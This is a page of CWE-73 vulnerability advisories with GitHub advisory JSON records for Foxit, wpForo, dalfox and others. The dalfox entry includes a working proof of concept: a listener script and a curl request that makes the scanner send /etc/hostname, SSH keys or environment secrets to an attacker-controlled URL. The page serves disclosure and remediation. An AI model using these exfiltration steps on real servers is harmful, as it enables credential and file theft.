CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
914 vulnerabilities reference this CWE, most recent first.
GHSA-2W45-JCMR-Q4FV
Vulnerability from github – Published: 2025-08-20 18:30 – Updated: 2025-08-22 18:31Foxit PDF Reader < 4.3.1.0218 exposes a JavaScript API function, createDataObject(), that allows untrusted PDF content to write arbitrary files anywhere on disk. By embedding a malicious PDF that calls this API, an attacker can drop executables or scripts into privileged folders, leading to code execution the next time the system boots or the user logs in.
{
"affected": [],
"aliases": [
"CVE-2011-10030"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T16:15:36Z",
"severity": "HIGH"
},
"details": "Foxit PDF Reader \u003c\u00a0 4.3.1.0218 exposes a JavaScript API function, createDataObject(), that allows untrusted PDF content to write arbitrary files anywhere on disk. By embedding a malicious PDF that calls this API, an attacker can drop executables or scripts into privileged folders, leading to code execution the next time the system boots or the user logs in.",
"id": "GHSA-2w45-jcmr-q4fv",
"modified": "2025-08-22T18:31:15Z",
"published": "2025-08-20T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10030"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb"
},
{
"type": "WEB",
"url": "https://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/16978"
},
{
"type": "WEB",
"url": "https://www.foxit.com/pdf-reader/version-history.html"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/foxit-pdf-reader-javascript-file-write"
},
{
"type": "WEB",
"url": "http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2W8J-H6JX-GC5Q
Vulnerability from github – Published: 2025-04-23 06:31 – Updated: 2025-04-23 06:31Gee-netics, member of AXIS Camera Station Pro Bug Bounty Program, has identified an issue with a specific file that the server is using. A non-admin user can modify this file to either create files or change the content of files in an admin-protected location. Axis has released a patched version for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.
{
"affected": [],
"aliases": [
"CVE-2025-1056"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-23T06:15:46Z",
"severity": "MODERATE"
},
"details": "Gee-netics, member of AXIS Camera Station Pro Bug Bounty Program, has identified an issue with a specific file that the server is using. A non-admin user can modify this file to either create files or change the content of files in an admin-protected location.\nAxis has released a patched version for the highlighted flaw. Please \nrefer to the Axis security advisory for more information and solution.",
"id": "GHSA-2w8j-h6jx-gc5q",
"modified": "2025-04-23T06:31:26Z",
"published": "2025-04-23T06:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1056"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/e4/2e/b2/cve-2025-1056pdf-en-US-479106.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2WWR-9X6F-88GP
Vulnerability from github – Published: 2026-07-01 18:18 – Updated: 2026-07-01 18:18EasyAdminBundle ships two public Twig components — <twig:ea:Flag countryCode="..."> and <twig:ea:Icon name="..."> — that load SVG files from disk using a path built directly from a public component property, and then render the resulting markup with the Twig |raw filter.
When an application binds either of those properties to data that is influenced by an end user, the lack of validation on the property value leads to two distinct issues:
- Arbitrary
.svgfile disclosure (both components) — the property value is concatenated into a filesystem path without normalizing or constraining it, so..segments are preserved and resolved by PHP. Any file on the server whose absolute path ends in.svg(for example, user-uploaded SVG icons stored elsewhere on the host) can be read and embedded into the rendered page. - Reflected XSS in the admin UI (Flag component only) — when the requested flag file does not exist, the Flag component falls back to a hard-coded SVG string that interpolates the raw
countryCodevalue twice, and the parent template renders that string with|raw. An attacker who controlscountryCodecan therefore inject arbitrary HTML/JavaScript that will execute inside the authenticated admin context that rendered the component.
The first-party usage shipped by EasyAdminBundle itself is not affected: the bundle only passes ISO 3166 alpha-2 codes validated through Symfony\Component\Intl\Countries to the Flag component, and only hard-coded internal:.. names or values previously set in PHP via MenuItem::setIcon() to the Icon component. The vulnerability is reachable only in third-party templates that pass attacker-controlled data into these properties.
Impact
Path traversal is information disclosure bounded by the .svg extension; reflected XSS in Flag runs in the admin context and is therefore more sensitive but requires a vulnerable template wiring and user interaction.
Affected components
EasyCorp\Bundle\EasyAdminBundle\Twig\Component\Flag— public Twig tag<twig:ea:Flag>, propertycountryCode.EasyCorp\Bundle\EasyAdminBundle\Twig\Component\Icon— public Twig tag<twig:ea:Icon>, propertynamewhen the value starts with theinternal:prefix.
Credit
EasyAdmin would like to thank Claude Mythos Preview (via Project Glasswing and The PHP Foundation) for reporting the issue and providing the fix.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "easycorp/easyadmin-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.29.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "easycorp/easyadmin-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T18:18:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "EasyAdminBundle ships two public Twig components \u2014 `\u003ctwig:ea:Flag countryCode=\"...\"\u003e` and `\u003ctwig:ea:Icon name=\"...\"\u003e` \u2014 that load SVG files from disk using a path built directly from a public component property, and then render the resulting markup with the Twig `|raw` filter.\n\nWhen an application binds either of those properties to data that is influenced by an end user, the lack of validation on the property value leads to two distinct issues:\n\n- Arbitrary `.svg` file disclosure (both components) \u2014 the property value is concatenated into a filesystem path without normalizing or constraining it, so `..` segments are preserved and resolved by PHP. Any file on the server whose absolute path ends in `.svg` (for example, user-uploaded SVG icons stored elsewhere on the host) can be read and embedded into the rendered page.\n- Reflected XSS in the admin UI (Flag component only) \u2014 when the requested flag file does not exist, the Flag component falls back to a hard-coded SVG string that interpolates the raw `countryCode` value twice, and the parent template renders that string with `|raw`. An attacker who controls `countryCode` can therefore inject arbitrary HTML/JavaScript that will execute inside the authenticated admin context that rendered the component.\n\nThe first-party usage shipped by EasyAdminBundle itself is not affected: the bundle only passes ISO 3166 alpha-2 codes validated through `Symfony\\Component\\Intl\\Countries` to the `Flag` component, and only hard-coded `internal:..` names or values previously set in PHP via `MenuItem::setIcon()` to the `Icon` component. The vulnerability is reachable only in third-party templates that pass attacker-controlled data into these properties.\n\n### Impact\n\nPath traversal is information disclosure bounded by the `.svg` extension; reflected XSS in Flag runs in the admin context and is therefore more sensitive but requires a vulnerable template wiring and user interaction.\n\n### Affected components\n\n- `EasyCorp\\Bundle\\EasyAdminBundle\\Twig\\Component\\Flag` \u2014 public Twig tag `\u003ctwig:ea:Flag\u003e`, property `countryCode`.\n- `EasyCorp\\Bundle\\EasyAdminBundle\\Twig\\Component\\Icon` \u2014 public Twig tag `\u003ctwig:ea:Icon\u003e`, property `name` when the value starts with the `internal:` prefix.\n\n### Credit\n\nEasyAdmin would like to thank Claude Mythos Preview (via Project Glasswing and The PHP Foundation) for reporting the issue and providing the fix.",
"id": "GHSA-2wwr-9x6f-88gp",
"modified": "2026-07-01T18:18:46Z",
"published": "2026-07-01T18:18:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EasyCorp/EasyAdminBundle/security/advisories/GHSA-2wwr-9x6f-88gp"
},
{
"type": "PACKAGE",
"url": "https://github.com/EasyCorp/EasyAdminBundle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "EasyAdminBundle has path traversal and reflected XSS in Flag and Icon Twig components"
}
GHSA-2XW4-7MQ9-JFCM
Vulnerability from github – Published: 2024-04-10 15:30 – Updated: 2024-04-10 15:30An external control of file name or path vulnerability [CWE-73] in FortiClientMac version 7.2.3 and below, version 7.0.10 and below installer may allow a local attacker to execute arbitrary code or commands via writing a malicious configuration file in /tmp before starting the installation process.
{
"affected": [],
"aliases": [
"CVE-2024-31492"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T13:51:38Z",
"severity": "HIGH"
},
"details": "An external control of file name or path vulnerability [CWE-73] in FortiClientMac version 7.2.3 and below, version 7.0.10 and below installer may allow a local attacker to execute arbitrary code or commands via writing a malicious configuration file in /tmp before starting the installation process.",
"id": "GHSA-2xw4-7mq9-jfcm",
"modified": "2024-04-10T15:30:40Z",
"published": "2024-04-10T15:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31492"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-345"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-32MM-8HWV-MVWG
Vulnerability from github – Published: 2026-04-11 09:30 – Updated: 2026-04-11 09:30The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.
{
"affected": [],
"aliases": [
"CVE-2026-5809"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-11T08:16:05Z",
"severity": "HIGH"
},
"details": "The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because \u0027body\u0027 is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin\u0027s custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.",
"id": "GHSA-32mm-8hwv-mvwg",
"modified": "2026-04-11T09:30:27Z",
"published": "2026-04-11T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5809"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Actions.php#L746"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Actions.php#L761"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L402"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L421"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L523"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Posts.php#L1961"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/includes/functions.php#L2641"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3503313/wpforo"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e46ac8d-89ee-4480-bb96-83f2044a4323?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-354X-C94F-PRXC
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30External control of file name or path in Windows WLAN Service allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-59511"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T18:15:37Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Windows WLAN Service allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-354x-c94f-prxc",
"modified": "2025-11-11T18:30:20Z",
"published": "2025-11-11T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59511"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59511"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35M2-6V5H-6F23
Vulnerability from github – Published: 2023-05-10 18:30 – Updated: 2024-04-04 04:01A file disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with access to the web interface to export local files from the firewall through a race condition.
{
"affected": [],
"aliases": [
"CVE-2023-0008"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T17:15:09Z",
"severity": "MODERATE"
},
"details": "A file disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with access to the web interface to export local files from the firewall through a race condition.\n\n",
"id": "GHSA-35m2-6v5h-6f23",
"modified": "2024-04-04T04:01:23Z",
"published": "2023-05-10T18:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0008"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2023-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-35WR-X7V6-9FV2
Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 23:50Summary
When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network — server binds to
0.0.0.0:6664by default; reachable by any network peer. - Attack Complexity: Low — no preconditions beyond network access;
skip-discoveryandparamare both attacker-supplied, so the code path is fully under attacker control. - Privileges Required: None —
--api-keydefaults to"", so the auth middleware is not registered. - User Interaction: None.
- Scope: Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
- Confidentiality Impact: High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files,
/etc/passwd, etc. - Integrity Impact: None — this path is read-only.
- Availability Impact: None.
Affected Component
cmd/server.go—init()(line 51):--api-keydefaults to""— no auth by defaultpkg/server/server.go—setupEchoServer()(line 68): auth middleware only registered whenAPIKey != ""pkg/server/server.go—postScanHandler()(lines 173–191):rq.Options(includingCustomPayloadFile) passed toScanFromAPIwithout sanitizationlib/func.go—Initialize()(line 117):CustomPayloadFileexplicitly propagated from caller optionspkg/scanning/scan.go— anonymous block (lines 341–368):voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)reads file; contents injected into outbound requests
CWE
- CWE-306: Missing Authentication for Critical Function
- CWE-73: External Control of File Name or Path
- CWE-552: Files or Directories Accessible to External Parties
Description
custom-payload-file Is Fully Attacker-Controlled
model.Options exposes CustomPayloadFile with a JSON tag:
// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`
postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)
ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:
// pkg/server/scan.go:22-27
target := dalfox.Target{
URL: url,
Method: rqOptions.Method,
Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)
Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:
// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},
File Read and Exfiltration Path
In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:
// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
if err != nil {
printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
} else {
for _, customPayload := range ff {
if customPayload != "" {
for k, v := range params {
if optimization.CheckInspectionParam(options, k) {
...
tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
query[tq] = tm
}
}
}
}
}
}
Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).
Condition Is Trivially Satisfiable
The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body — a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:
// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
params[paramName] = model.ParamResult{
Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
}
}
policy["Content-Type"] = "text/html"
Both conditions are fully attacker-controlled through the JSON request body.
No Defense at Any Layer
The same opt-in API key guard from the first finding applies identically here:
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}
With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.
Proof of Concept
# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
print("[RECEIVED] q =", q, flush=True)
body = b'<html><body>ok</body></html>'
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY
# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18081/?q=test",
"options": {
"custom-payload-file": "/etc/hostname",
"only-custom-payload": true,
"skip-discovery": true,
"param": ["q"],
"use-headless": false,
"worker": 1
}
}'
# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local
# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request
No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).
Impact
- Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates,
.envfiles, cloud credential files,/proc/self/environ) can be exfiltrated one line at a time. - No authentication required under the default configuration.
- The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
- Combined with the
found-actionRCE finding (separate issue), an attacker could first read/proc/self/environto harvest secrets, then execute commands.
Recommended Remediation
Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)
Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:
// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""
Option 2: Require --api-key at server startup
Make authentication mandatory and refuse to start without it:
// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
os.Exit(1)
}
Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.
Credit
Emmanuel David
Github:- https://github.com/drmingler
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.12.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/hahwul/dalfox/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45088"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-552",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:08:13Z",
"nvd_published_at": "2026-05-27T18:16:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High \u2014 the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc.\n- **Integrity Impact:** None \u2014 this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"` \u2014 no auth by default\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg/scanning/scan.go` \u2014 anonymous block (lines 341\u2013368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n// pkg/model/options.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n URL: url,\n Method: rqOptions.Method,\n Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n// lib/func.go:117\n\"CustomPayloadFile\": {\u0026newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n// pkg/scanning/scan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) \u0026\u0026 options.CustomPayloadFile != \"\" {\n ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n if err != nil {\n printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n } else {\n for _, customPayload := range ff {\n if customPayload != \"\" {\n for k, v := range params {\n if optimization.CheckInspectionParam(options, k) {\n ...\n tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n query[tq] = tm\n }\n }\n }\n }\n }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file\u0027s contents to the attacker\u0027s server as the value of the nominated parameter (e.g., `?q=\u003cfile-line\u003e`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body \u2014 a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text/html\"` and populates `params[\"q\"]` automatically:\n\n```go\n// pkg/scanning/scan.go:224-240\nif len(options.UniqParam) == 0 {\n return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n params[paramName] = model.ParamResult{\n Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n }\n}\npolicy[\"Content-Type\"] = \"text/html\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n print(\"[RECEIVED] q =\", q, flush=True)\n body = b\u0027\u003chtml\u003e\u003cbody\u003eok\u003c/body\u003e\u003c/html\u003e\u0027\n 